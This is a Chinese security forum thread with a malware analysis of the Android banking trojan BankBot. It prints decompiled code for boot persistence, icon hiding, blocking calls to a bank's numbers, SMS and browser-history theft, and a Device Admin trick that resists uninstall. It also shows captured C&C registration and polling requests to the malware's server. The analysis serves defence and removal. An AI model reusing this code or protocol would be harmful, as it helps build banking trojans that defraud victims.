henices 发表于 2016-2-26 13:38

BankBot 样本分析

本帖最后由 henices 于 2016-2-26 17:52 编辑

0x00 样本概况


字段内容
样本名BankBot
MD53c42c391bec405bb28b28195c2961778
SHA25693b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型APK


这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后 会以Android系统更新的形式,诱导用户激活设备管理器达到常驻系统的目的。





0x01 行为分析

开机自启动

<receiver android:name="com.android.market.Autorun">
    <intent-filter android:priority="999">
      <action android:name="android.intent.action.REBOOT" />
      <action android:name="android.intent.action.BOOT_COMPLETED" />
      <action android:name="android.intent.action.QUICKBOOT_POWERON" />
    </intent-filter>
    <intent-filter android:priority="1000">
      <action android:name="android.intent.action.REBOOT" />
      <action android:name="android.intent.action.BOOT_COMPLETED" />
      <action android:name="android.intent.action.QUICKBOOT_POWERON" />
    </intent-filter>
</receiver>

Autorun


package com.android.market;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public final class Autorun extends BroadcastReceiver {
    public Autorun() {
      super();
    }

    public void onReceive(Context context, Intent intent) {
      Intent v0 = new Intent(context, Scheduler.class);
      v0.setFlags(0x10000000);
      context.startService(v0);
    }
}



开机将启动 Schedule 服务

Schedule 服务

public int onStartCommand(Intent intent, int flags, int startId) {
    super.onStartCommand(intent, flags, startId);
    Utils.registerIfNeeded(((Context)this));
    Object v0 = this.getSystemService("alarm");
    PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this),
            NetworkController.class), 0);
    int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
            .readFile(((Context)this), "interval")) : 0xA;
    ((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)),
            v6);
    this.handleCrashes();
    return 1;
}

Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。 时间间隔由配置文件interval决定。定时和C&C服务器进行通讯。

com.android.market.FileController


static final boolean fileExists(Context context, String filename) {
    return new File(context.getFilesDir(), filename).exists();
}


隐藏App 图标

static final void hideApp(Context context, boolean hide) {
    ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
             + ".MainActivity");
    PackageManager v3 = context.getPackageManager();
    int v1 = hide ? 2 : 1;
    v3.setComponentEnabledSetting(v0, v1, 1);
}


伪造的系统Notification

public void onCreate() {
    super.onCreate();
    new AppCrash().Register(((Context)this));
    Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
            currentTimeMillis());
    Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
    v1.setAction("android.intent.action.VIEW");
    v1.setFlags(0x34000000);
    v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
            .getActivity(((Context)this), 0, v1, 0x8000000));
    v3.flags |= 0x62;
    this.startForeground(2, v3);
    new Helper(this).execute(new Void);
}



禁用屏幕锁定

AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();

禁止拨打指定号码电话

public void onReceive(Context context, Intent intent) {
    String[] v8;
    String action = intent.getAction();
    String v6 = intent.getStringExtra("state");
    String v3 = intent.getStringExtra("incoming_number");
    String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
    String v1 = "8005555550; 4955005550;";
    String v10 = "8005555550; 4955005550;";
    String v11 = "";
    int v9 = 0;
    if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
      String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
                "-", "");
      if(v1 != null) {
            v8 = v1.replace(" ", "").split(";");
            if(v8.length > 0) {
                int v13;
                for(v13 = 0; v13 < v8.length; ++v13) {
                  if(v4.contains(v8)) {
                        v9 = 1;
                        v11 = String.valueOf(v11) + "blocked outgoing call";
                        this.setResultData(null);
                  }
                }
            }
      }

      if(v9 == 0) {
            v11 = String.valueOf(v11) + "outgoing call";
      }

      new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4,
                v11) + "]"});
    }
...
}

通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:
8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。

禁止接听指定号码电话

String v10 = "8005555550; 4955005550;";

if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
      " ", "").replace("-", "") : "Unknown";
if(v10 != null) {
    v8 = v10.replace(" ", "").split(";");
    for(v13 = 0; v13 < v8.length; ++v13) {
      if(v2.contains(v8)) {
            v11 = "blocked incoming call";
            v9 = 1;
            this.hangUp(context);
      }
    }

    if(!v2.contains("Unknown")) {
      goto label_106;
    }

    v11 = "blocked incoming call";
    v9 = 1;
    this.hangUp(context);
}

label_106:
if(v9 == 0) {
    v11 = "incoming call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2,
      v11) + "]"});
}


获取短信记录

private StringBuilder getSmsLog() {
    StringBuilder v10 = new StringBuilder("[");
    Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A",
            "s").replace("B", "m").replace("C", "s")), null, null, null, null);
    if((v8.moveToFirst()) && v8.getCount() > 0) {
      while(!v8.isAfterLast()) {
            v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}",
                  JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
                  .quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
                  v8.getColumnIndex("date")))));
            if(!v8.isLast()) {
                v10.append(",");
            }

            v8.moveToNext();
      }

      v8.close();
    }

    return v10.append("]");
}


浏览器书签

private StringBuilder getHistory(Uri historyUri) {
    StringBuilder v8 = new StringBuilder("[");
    Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url",
            "date"}, "bookmark = 0", null, null);
    if((v6.moveToFirst()) && v6.getCount() > 0) {
      while(!v6.isAfterLast()) {
            v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
                  .quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
                  v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
                  "date")))));
            if(!v6.isLast()) {
                v8.append(",");
            }

            v6.moveToNext();
      }

      v6.close();
    }

    return v8.append("]");
}


骗取信用卡信息

当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。





高级技术

不断重启的Servcie

com.android.smali3
public void onDestroy() {
    super.onDestroy();
    this.startService(new Intent(this.getApplicationContext(), smali3.class));
}


服务被停止,立即重启,无法停止。

防止卸载

Bankbot 申请 Device Admin 权限,无法被正常卸载。

> adb shell pm uninstall com.android.market
Failure

禁止删除 Device Admin 权限

这个一个非常流氓的做法,具体的做法是如下面的代码:

public class AdRec extends DeviceAdminReceiver {
    public AdRec() {
      super();
    }

    public CharSequence onDisableRequested(Context context, Intent intent) {
      new AppCrash().Register(context);
      if(Build$VERSION.SDK_INT <= 0xA) {
            Intent v2 = new Intent("android.settings.SETTINGS");
            v2.setFlags(0x50000000);
            context.startActivity(v2);
            Intent v4 = new Intent("android.intent.action.MAIN");
            v4.addCategory("android.intent.category.HOME");
            v4.setFlags(0x10000000);
            context.startActivity(v4);
            return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
      }

      context.startService(new Intent(context, ASec.class));
      long v6 = 0x7D0;
      try {
            Thread.sleep(v6);
      }
      catch(InterruptedException v3) {
            v3.printStackTrace();
      }

      return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
    }

   ...
}

重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户 无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。
这里出过几个问题,


[*]Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
[*]就是现在代码中所用到这个,目前在所有的Android 版本中存在。




界面劫持

通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实 是设备管理器的激活按钮。





0x02 C&C 协议分析

Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中 可以得到json字段的信息。

private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";

请求注册

返回报文

401

注册报文


POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21

HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

3
200
0



获取命令

POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=poll&imei=098767899076562


HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

0



返回的命令为json 格式,主要的指令有下面几个,



指令含义
401要求 bot 注册
call_log获取电话记录, 发送到C&C server
sms_history获取短信内容,发送到C&C server
browser_history获取浏览器书签,发送到C&C server
url访问url 链接
server更换C&C server
intercept
server_poll更新从服务器获取命令的时间间隔
mayhem
calls

监视服务了大半天,没有收到有效指令,看来不是特别活跃。

清除

这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈 不让我们取消设备管理器,估计只有root的机器会好处理一些。

总结

BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓, 很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良 后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量 会越来越多。

windwing1883 发表于 2016-2-26 14:14

支持一下,哪里来的样本?

求魔 发表于 2016-2-26 15:13

很好很实用顶你一个

xokamox 发表于 2016-2-26 23:37

Is there any sample provide for further inspection ?

Thanks ~

henices 发表于 2016-3-1 16:12

部分Android手机提供安全模式,安全模式将禁用所有第三方APP,进入安全模式后,应该有一定机率可以清除锁机APP。

zdfs530 发表于 2016-3-25 00:17

看看,学学!

yzh07137 发表于 2016-6-7 14:34

请问能分享一下样本吗?
页: [1]
查看完整版本: BankBot 样本分析